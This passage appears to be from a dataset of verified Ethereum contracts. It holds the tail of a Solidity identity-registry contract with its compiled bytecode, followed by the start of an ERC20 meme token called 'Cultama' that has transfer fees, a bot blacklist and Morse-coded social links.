* @notice Add an address to an existing id on behalf of a user to pay the gas costs
* @param _newAddress Address to add to account
* @param _newAddressSig Signed message from new address confirming ownership by the sender
* @param _senderSig Signed message from address currently associated with account confirming intention
* @param _sender User requesting this action
* @param _nonce uuid used when generating sigs to make them one time use
*/
function addAddressToAccountFor(
address _newAddress,
bytes _newAddressSig,
bytes _senderSig,
address _sender,
bytes32 _nonce
) public onlyRegistryAdmin {
addAddressToAccountForUser(_newAddress, _newAddressSig, _senderSig, _sender, _nonce);
}
/**
* @notice Add an address to an existing id by a user
* @dev Wrapper for addAddressTooAccountForUser with msg.sender as sender
* @param _newAddress Address to add to account
* @param _newAddressSig Signed message from new address confirming ownership by the sender
* @param _senderSig Signed message from msg.sender confirming intention by the sender
* @param _nonce uuid used when generating sigs to make them one time use
*/
function addAddressToAccount(
address _newAddress,
bytes _newAddressSig,
bytes _senderSig,
bytes32 _nonce
) public onlyUser {
addAddressToAccountForUser(_newAddress, _newAddressSig, _senderSig, msg.sender, _nonce);
}
/**
* @notice Add an address to an existing id
* @dev Checks that new address signed _sig
* @param _newAddress Address to add to account
* @param _newAddressSig Signed message from new address confirming ownership by the sender
* @param _senderSig Signed message from new address confirming ownership by the sender
* @param _sender User requesting this action
* @param _nonce uuid used when generating sigs to make them one time use
*/
function addAddressToAccountForUser(
address _newAddress,
bytes _newAddressSig,
bytes _senderSig,
address _sender,
bytes32 _nonce
) private nonZero(_newAddress) {
require(!usedSignatures[keccak256(abi.encodePacked(_newAddressSig))], "Signature not unique");
require(!usedSignatures[keccak256(abi.encodePacked(_senderSig))], "Signature not unique");
usedSignatures[keccak256(abi.encodePacked(_newAddressSig))] = true;
usedSignatures[keccak256(abi.encodePacked(_senderSig))] = true;
// Confirm new address is signed by current address
bytes32 _currentAddressDigest = signingLogic.generateAddAddressSchemaHash(_newAddress, _nonce);
require(_sender == signingLogic.recoverSigner(_currentAddressDigest, _senderSig));
// Confirm current address is signed by new address
bytes32 _newAddressDigest = signingLogic.generateAddAddressSchemaHash(_sender, _nonce);
require(_newAddress == signingLogic.recoverSigner(_newAddressDigest, _newAddressSig));
registry.addAddressToAccount(_newAddress, _sender);
uint256 _accountId = registry.accountIdForAddress(_newAddress);
emit AddressAdded(_accountId, _newAddress);
}
/**
* @notice Remove an address from an account for a user
* @dev Restricted to admin
* @param _addressToRemove Address to remove from account
*/
function removeAddressFromAccountFor(
address _addressToRemove
) public onlyRegistryAdmin {
uint256 _accountId = registry.accountIdForAddress(_addressToRemove);
registry.removeAddressFromAccount(_addressToRemove);
emit AddressRemoved(_accountId, _addressToRemove);
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631d0373ad146100eb57806339069d8c146101465780633dcbf7eb1461018957806344d0afbc1461028657806349c462d7146102dd5780636661a51e14610346578063726802a41461038957806374c16b23146104665780637b103999146104bd5780638da5cb5b14610514578063977d03511461056b5780639859387b146105ae578063dc628c04146105f1578063f2fde38b14610634578063f610e52a14610677578063f978fd61146106e0575b600080fd5b3480156100f757600080fd5b5061012c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610729565b604051808215151515815260200191505060405180910390f35b34801561015257600080fd5b50610187600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610749565b005b34801561019557600080fd5b50610284600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356000191690602001909291905050506108f1565b005b34801561029257600080fd5b5061029b610961565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102e957600080fd5b50610344600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610987565b005b34801561035257600080fd5b50610387600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d9a565b005b34801561039557600080fd5b50610464600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035600019169060200190929190505050610f42565b005b34801561047257600080fd5b5061047b611058565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c957600080fd5b506104d261107e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052057600080fd5b506105296110a4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057757600080fd5b506105ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110c9565b005b3480156105ba57600080fd5b506105ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611271565b005b3480156105fd57600080fd5b50610632600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d9565b005b34801561064057600080fd5b50610675600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061154e565b005b34801561068357600080fd5b506106de600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506116a3565b005b3480156106ec57600080fd5b5061070f6004803603810190808035600019169060200190929190505050611adf565b604051808215151515815260200191505060405180910390f35b60056020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107a657600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff16141515156107cd57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915082600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f4fba7fc38f674802f76db83afb3e5f87dee0e5234b1e7f832f19168b05e0048682600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094d57600080fd5b61095a8585858585611aff565b5050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663178daa54336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610a4657600080fd5b505af1158015610a5a573d6000803e3d6000fd5b505050506040513d6020811015610a7057600080fd5b81019080805190602001909291905050501515610a8c57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166397aba7f933604051602001808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083101515610b5a5780518252602082019150602081019050602083039250610b35565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020846040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c01578082015181840152602081019050610be6565b50505050905090810190601f168015610c2e5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015610c4e57600080fd5b505af1158015610c62573d6000803e3d6000fd5b505050506040513d6020811015610c7857600080fd5b81019080805190602001909291905050509050600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610ce457600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f264c2a13cbb614f5c05aa1bd9cbfd0a1466f73f27887866039a63ec56a190ddd60405160405180910390a35050565b60008160008173ffffffffffffffffffffffffffffffffffffffff1614151515610dc357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1e57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915082600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f68913200cecf41727f9b83c3ef808abc9b8a07e16a8ccb2fbb9fd9bcc7183f8282600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663178daa54336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610fff57600080fd5b505af1158015611013573d6000803e3d6000fd5b505050506040513d602081101561102957600080fd5b8101908080519060200190929190505050151561104557600080fd5b6110528484843385611aff565b50505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008160008173ffffffffffffffffffffffffffffffffffffffff16141515156110f257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915082600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f9065f3654b16a9bdc012d8a568f9f881cbfc95ccce9c9ee0f648481bdca4f70582600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112cd57600080fd5b6112d681612761565b50565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133757600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631a5b70ad836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113f457600080fd5b505af1158015611408573d6000803e3d6000fd5b505050506040513d602081101561141e57600080fd5b81019080805190602001909291905050509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a5a8662836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156114ee57600080fd5b505af1158015611502573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff16817fc7120a00a251890416360c3add60c9843cb4a5ed80a7761c3b3be917c24f71e260405160405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115a957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115e557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663178daa54336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561176257600080fd5b505af1158015611776573d6000803e3d6000fd5b505050506040513d602081101561178c57600080fd5b81019080805190602001909291905050501515156117a957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166397aba7f933604051602001808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b6020831015156118775780518252602082019150602081019050602083039250611852565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020846040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561191e578082015181840152602081019050611903565b50505050905090810190601f16801561194b5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561196b57600080fd5b505af115801561197f573d6000803e3d6000fd5b505050506040513d602081101561199557600080fd5b81019080805190602001909291905050509050600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a0057600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611a6133612761565b8073ffffffffffffffffffffffffffffffffffffffff167f7dfe7741b2816f4b390ea9c6a8fcef91c87d66b9235a24019b792806bc3ece0233604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b60046020528060005260406000206000915054906101000a900460ff1681565b60008060008760008173ffffffffffffffffffffffffffffffffffffffff1614151515611b2b57600080fd5b60046000896040516020018082805190602001908083835b602083101515611b685780518252602082019150602081019050602083039250611b43565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083101515611bd15780518252602082019150602081019050602083039250611bac565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff16151515611c97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5369676e6174757265206e6f7420756e6971756500000000000000000000000081525060200191505060405180910390fd5b60046000886040516020018082805190602001908083835b602083101515611cd45780518252602082019150602081019050602083039250611caf565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083101515611d3d5780518252602082019150602081019050602083039250611d18565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff16151515611e03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5369676e6174757265206e6f7420756e6971756500000000000000000000000081525060200191505060405180910390fd5b6001600460008a6040516020018082805190602001908083835b602083101515611e425780518252602082019150602081019050602083039250611e1d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083101515611eab5780518252602082019150602081019050602083039250611e86565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191660001916815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000896040516020018082805190602001908083835b602083101515611f445780518252602082019150602081019050602083039250611f1f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083101515611fad5780518252602082019150602081019050602083039250611f88565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191660001916815260200190815260200160002060006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323f809f68a876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001826000191660001916815260200192505050602060405180830381600087803b1580156120d457600080fd5b505af11580156120e8573d6000803e3d6000fd5b505050506040513d60208110156120fe57600080fd5b81019080805190602001909291905050509350600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166397aba7f985896040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b838110156121ca5780820151818401526020810190506121af565b50505050905090810190601f1680156121f75780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561221757600080fd5b505af115801561222b573d6000803e3d6000fd5b505050506040513d602081101561224157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151561228b57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323f809f687876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001826000191660001916815260200192505050602060405180830381600087803b15801561235857600080fd5b505af115801561236c573d6000803e3d6000fd5b505050506040513d602081101561238257600080fd5b81019080805190602001909291905050509250600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166397aba7f9848a6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561244e578082015181840152602081019050612433565b50505050905090810190601f16801561247b5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561249b57600080fd5b505af11580156124af573d6000803e3d6000fd5b505050506040513d60208110156124c557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614151561250f57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663275bf2308a886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b15801561260057600080fd5b505af1158015612614573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631a5b70ad8a6040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156126d557600080fd5b505af11580156126e9573d6000803e3d6000fd5b505050506040513d60208110156126ff57600080fd5b810190808051906020019092919050505091508873ffffffffffffffffffffffffffffffffffffffff16827fedec6416a94b784dc98025e70b146d8d8628117664f0da05822fc95132bc4f5860405160405180910390a3505050505050505050565b60008160008173ffffffffffffffffffffffffffffffffffffffff161415151561278a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634f96baf1846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561284757600080fd5b505af115801561285b573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631a5b70ad846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561291c57600080fd5b505af1158015612930573d6000803e3d6000fd5b505050506040513d602081101561294657600080fd5b810190808051906020019092919050505091508273ffffffffffffffffffffffffffffffffffffffff16827f487f75407abee1a719a204e683a93f0583efee10816d2651b112f8be571f7d3260405160405180910390a35050505600a165627a7a723058200ac03ce77dfad31e6468e5e71f58e17e375cbcadacaf8562785dce2af504fa6b0029
|
{"success": true, "error": null, "results": {}}
| 8,102 |
0x56a1e5a8dafe03c0b6eda3d4c2702f848203616c
|
/**
*Submitted for verification at Etherscan.io on 2022-04-02
*/
// SPDX-License-Identifier: Unlicensed
//CULT + tama = cultama
//CULT + akulamatata = cultama
//CULT + gautama = cultama
//CULT + DAO = cultama
//1 billion = cultama
//Future = cultama
//TG: -.-./..-/.-../-/-../.-/---/./-/..../----/..---/
//Web: *--/*--/*--/-.-./..-/.-../-/..-./..-/-/..-/.-./././-.-./---/--
//medium: @/-.-./..-/.-../-/./---/--
//no team, only DAO
//We have secret codes for the link of our telegram and twitter, break it yourself!
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Cultama is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cultama";
string private constant _symbol = "Cultama";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 6666666666666 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x3fbfB327Ef26c05AA39dC5228dAaa6fd85f35C40);
address payable private _marketingAddress = payable(0x3fbfB327Ef26c05AA39dC5228dAaa6fd85f35C40);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 66666666666 * 10**9;
uint256 public _maxWalletSize = 66666666666 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
